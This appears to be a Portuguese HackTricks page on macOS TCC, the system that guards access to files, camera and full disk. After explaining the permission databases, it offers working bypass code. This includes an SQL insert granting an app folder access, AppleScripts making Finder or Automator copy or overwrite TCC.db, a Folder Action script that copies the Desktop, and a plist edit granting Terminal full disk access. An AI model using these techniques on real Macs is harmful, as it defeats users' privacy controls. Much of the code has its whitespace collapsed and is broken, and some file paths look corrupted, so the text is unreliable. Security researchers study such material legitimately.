Compartilhe seus truques de hacking enviando PRs para osHackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
TCC (Transparência, Consentimento e Controle) é um protocolo de segurança que se concentra em regular as permissões de aplicativos. Seu papel principal é proteger recursos sensíveis como serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco. Ao exigir o consentimento explícito do usuário antes de conceder acesso do aplicativo a esses elementos, o TCC aprimora a privacidade e o controle do usuário sobre seus dados.
Os usuários encontram o TCC quando os aplicativos solicitam acesso a recursos protegidos. Isso é visível por meio de um prompt que permite aos usuários aprovar ou negar o acesso. Além disso, o TCC acomoda ações diretas do usuário, como arrastar e soltar arquivos em um aplicativo, para conceder acesso a arquivos específicos, garantindo que os aplicativos tenham acesso apenas ao que é explicitamente permitido.
O TCC é gerenciado pelo daemon localizado em /System/Library/PrivateFrameworks/TCC.framework/Support/tccd e configurado em /System/Library/LaunchDaemons/com.apple.tccd.system.plist (registrando o serviço mach com.apple.tccd.system).
Existe um tccd em modo de usuário em execução por usuário conectado definido em /System/Library/LaunchAgents/com.apple.tccd.plist registrando os serviços mach com.apple.tccd e com.apple.usernotifications.delegate.com.apple.tccd.
Aqui você pode ver o tccd em execução como sistema e como usuário:
As permissões são herdadas do aplicativo pai e as permissões são rastreadas com base no ID do Pacote e no ID do Desenvolvedor.
Bancos de Dados TCC
As permissões concedidas/negadas são então armazenadas em alguns bancos de dados TCC:
O banco de dados de sistema em /Library/Application Support/com.apple.TCC/TCC.db.
Este banco de dados é protegido pelo SIP, então somente uma bypass do SIP pode escrever nele.
O banco de dados de usuário TCC $HOME/Library/Application Support/com.apple.TCC/TCC.db para preferências por usuário.
Este banco de dados é protegido, então somente processos com altos privilégios TCC como Acesso Total ao Disco podem escrever nele (mas não é protegido pelo SIP).
Os bancos de dados anteriores também são protegidos pelo TCC para acesso de leitura. Portanto, você não poderá ler seu banco de dados TCC regular de usuário, a menos que seja de um processo com privilégios TCC.
No entanto, lembre-se de que um processo com esses altos privilégios (como FDA ou kTCCServiceEndpointSecurityClient) poderá escrever no banco de dados TCC dos usuários.
Existe um terceiro banco de dados TCC em /var/db/locationd/clients.plist para indicar clientes autorizados a acessar serviços de localização.
O arquivo protegido pelo SIP /Users/carlospolop/Downloads/REG.db (também protegido do acesso de leitura com TCC), contém a localização de todos os bancos de dados TCC válidos.
O arquivo protegido pelo SIP /Users/carlospolop/Downloads/MDMOverrides.plist (também protegido do acesso de leitura com TCC), contém mais permissões concedidas pelo TCC.
O arquivo protegido pelo SIP /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (mas legível por qualquer pessoa) é uma lista de permissões de aplicativos que requerem uma exceção TCC.
O banco de dados TCC no iOS está em /private/var/mobile/Library/TCC/TCC.db
A interface do centro de notificações pode fazer alterações no banco de dados TCC do sistema:
No entanto, os usuários podem excluir ou consultar regras com o utilitário de linha de comando tccutil.
Consultar os bancos de dados
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite>.schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite>selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite>.schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite>selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite>select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
Verificando ambos os bancos de dados, você pode verificar as permissões que um aplicativo permitiu, proibiu ou não possui (ele solicitará).
O service é a representação de string de permissão do TCC
O client é o ID do pacote ou caminho para o binário com as permissões
O client_type indica se é um Identificador de Pacote(0) ou um caminho absoluto(1)
Como executar se for um caminho absoluto
Basta fazer launctl load you_bin.plist, com um plist como:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --><key>Label</key><string>com.example.yourbinary</string><!-- The path to the executable --><key>Program</key><string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --><key>ProgramArguments</key><array><string>arg1</string><string>arg2</string></array><!-- Run at load --><key>RunAtLoad</key><true/><!-- Keep the job alive, restart if necessary --><key>KeepAlive</key><true/><!-- Standard output and error paths (optional) --><key>StandardOutPath</key><string>/tmp/YourBinary.stdout</string><key>StandardErrorPath</key><string>/tmp/YourBinary.stderr</string></dict></plist>
O auth_value pode ter valores diferentes: denied(0), unknown(1), allowed(2) ou limited(3).
O auth_reason pode assumir os seguintes valores: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
O campo csreq está lá para indicar como verificar o binário a ser executado e conceder as permissões do TCC:
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F ' => ' '/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d '\n')echo"X'$REQ_HEX'"
Você também pode verificar as permissões já concedidas para aplicativos em Preferências do Sistema --> Segurança e Privacidade --> Privacidade --> Arquivos e Pastas.
Os usuários podemexcluir ou consultar regras usando tccutil.
Redefinir permissões do TCC
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
Verificações de Assinatura do TCC
O banco de dados do TCC armazena o ID do Pacote do aplicativo, mas também armazena informações sobre a assinatura para garantir que o aplicativo que solicita permissão seja o correto.
# From sqlitesqlite>selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
Portanto, outras aplicações que usam o mesmo nome e ID de pacote não poderão acessar as permissões concedidas a outras aplicações.
Privilégios e Permissões TCC
Aplicativos não apenas precisam solicitar e ter acesso concedido a alguns recursos, eles também precisam ter os privilégios relevantes.
Por exemplo, o Telegram possui o privilégio com.apple.security.device.camera para solicitar acesso à câmera. Um aplicativo que não possui esse privilégio não poderá acessar a câmera (e o usuário nem será solicitado para as permissões).
No entanto, para que os aplicativos tenham acesso a certas pastas de usuário, como ~/Desktop, ~/Downloads e ~/Documents, eles não precisam ter nenhum privilégio específico. O sistema lidará com o acesso de forma transparente e solicitará permissão ao usuário conforme necessário.
Os aplicativos da Apple não gerarão solicitações. Eles contêm direitos pré-concedidos em sua lista de privilégios, o que significa que eles nunca gerarão um pop-up, nem aparecerão em nenhum dos bancos de dados do TCC. Por exemplo:
Isso evitará que o Calendário solicite ao usuário acesso a lembretes, calendário e à agenda de endereços.
Além de algumas documentações oficiais sobre as permissões, também é possível encontrar informações interessantes não oficiais sobre as permissões emhttps://newosxbook.com/ent.jl
Algumas permissões do TCC são: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Não há uma lista pública que defina todas elas, mas você pode verificar esta lista de permissões conhecidas.
Locais sensíveis não protegidos
$HOME (ele mesmo)
$HOME/.ssh, $HOME/.aws, etc
/tmp
Intenção do Usuário / com.apple.macl
Como mencionado anteriormente, é possível conceder acesso a um aplicativo a um arquivo arrastando e soltando o arquivo nele. Esse acesso não será especificado em nenhum banco de dados do TCC, mas como um atributo estendido do arquivo. Esse atributo irá armazenar o UUID do aplicativo permitido:
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
É curioso que o atributo com.apple.macl seja gerenciado pelo Sandbox, e não pelo tccd.
Também observe que se você mover um arquivo que permite o UUID de um aplicativo em seu computador para um computador diferente, porque o mesmo aplicativo terá UIDs diferentes, não concederá acesso a esse aplicativo.
O atributo estendido com.apple.maclnão pode ser apagado como outros atributos estendidos porque é protegido pelo SIP. No entanto, como explicado neste post, é possível desativá-lo compactando o arquivo, apagando e descompactando.
TCC Privesc & Bypasses
Inserir no TCC
Se em algum momento você conseguir obter acesso de escrita sobre um banco de dados TCC, você pode usar algo como o seguinte para adicionar uma entrada (remova os comentários):
Exemplo de inserção no TCC
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```
Cargas Úteis TCC
Se você conseguiu acessar um aplicativo com algumas permissões TCC, verifique a seguinte página com cargas úteis TCC para abusar delas:
O nome TCC da permissão de Automação é: kTCCServiceAppleEvents
Essa permissão TCC específica também indica a aplicação que pode ser gerenciada dentro do banco de dados TCC (então as permissões não permitem apenas gerenciar tudo).
O Finder é um aplicativo que sempre tem FDA (mesmo que não apareça na interface do usuário), então se você tiver privilégios de Automação sobre ele, você pode abusar de seus privilégios para fazê-lo executar algumas ações.
Neste caso, seu aplicativo precisaria da permissão kTCCServiceAppleEvents sobre com.apple.Finder.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
Você poderia abusar disso para escrever seu próprio banco de dados TCC de usuário.
Com essa permissão, você será capaz de pedir ao Finder para acessar pastas restritas pelo TCC e fornecer os arquivos, mas até onde sei você não poderá fazer o Finder executar código arbitrário para abusar totalmente do acesso FDA dele.
Portanto, você não poderá abusar das habilidades completas do FDA.
Este é o prompt do TCC para obter privilégios de Automação sobre o Finder:
Observe que, como o aplicativo Automator tem a permissão TCC kTCCServiceAppleEvents, ele pode controlar qualquer aplicativo, como o Finder. Portanto, tendo a permissão para controlar o Automator, você também poderia controlar o Finder com um código como o abaixo:
Obter um shell dentro do Automator
```applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD
Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
O mesmo acontece com o aplicativo **Script Editor,** ele pode controlar o Finder, mas usando um AppleScript você não pode forçá-lo a executar um script.
### Automação (SE) para alguns TCC
**O System Events pode criar Ações de Pasta, e as Ações de Pasta podem acessar algumas pastas TCC** (Desktop, Documents & Downloads), então um script como o seguinte pode ser usado para abusar desse comportamento:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
Automação (SE) + Acessibilidade (kTCCServicePostEvent|kTCCServiceAccessibility) para FDA*
A automação no System Events + Acessibilidade (kTCCServicePostEvent) permite enviar teclas de atalho para processos. Dessa forma, você poderia abusar do Finder para alterar o TCC.db dos usuários ou conceder FDA a um aplicativo arbitrário (embora a senha possa ser solicitada para isso).
Exemplo de sobrescrita do TCC.db dos usuários pelo Finder:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
Se você tem kTCCServiceEndpointSecurityClient, você tem FDA. Fim.
Política do Sistema SysAdmin de Arquivos para FDA
kTCCServiceSystemPolicySysAdminFiles permite alterar o atributo NFSHomeDirectory de um usuário que altera sua pasta pessoal e, portanto, permite burlar o TCC.
Banco de Dados TCC do Usuário para FDA
Obtendo permissões de escrita sobre o banco de dados TCC do usuário, você não pode conceder a si mesmo permissões de FDA, somente aquele que reside no banco de dados do sistema pode conceder isso.
Mas você pode se dar direitos de Automação para o Finder, e abusar da técnica anterior para escalar para FDA*.
FDA para permissões TCC
O acesso total ao disco no TCC é chamado de kTCCServiceSystemPolicyAllFiles
Não acho que isso seja um real escalonamento de privilégios, mas caso você ache útil: Se você controla um programa com FDA, você pode modificar o banco de dados TCC dos usuários e se conceder qualquer acesso. Isso pode ser útil como técnica de persistência caso você perca suas permissões de FDA.
Burlar SIP para Burlar TCC
O banco de dados do sistema TCC é protegido pelo SIP, por isso somente processos com as autorizações indicadas poderão modificá-lo. Portanto, se um atacante encontrar uma burla do SIP sobre um arquivo (ser capaz de modificar um arquivo restrito pelo SIP), ele será capaz de:
Remover a proteção de um banco de dados TCC e se conceder todas as permissões do TCC. Ele poderia abusar de qualquer um desses arquivos, por exemplo:
O banco de dados de sistemas TCC
REG.db
MDMOverrides.plist
No entanto, há outra opção para abusar dessa burla do SIP para burlar o TCC, o arquivo /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist é uma lista de permissões de aplicativos que requerem uma exceção do TCC. Portanto, se um atacante puder remover a proteção do SIP deste arquivo e adicionar seu próprio aplicativo, o aplicativo poderá burlar o TCC.
Por exemplo, para adicionar o terminal:
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><key>Services</key><dict><key>SystemPolicyAllFiles</key><array><dict><key>CodeRequirement</key><string>identifier "com.apple.Terminal" and anchor apple</string><key>IdentifierType</key><string>bundleID</string><key>Identifier</key><string>com.apple.Terminal</string></dict></array></dict></dict></plist>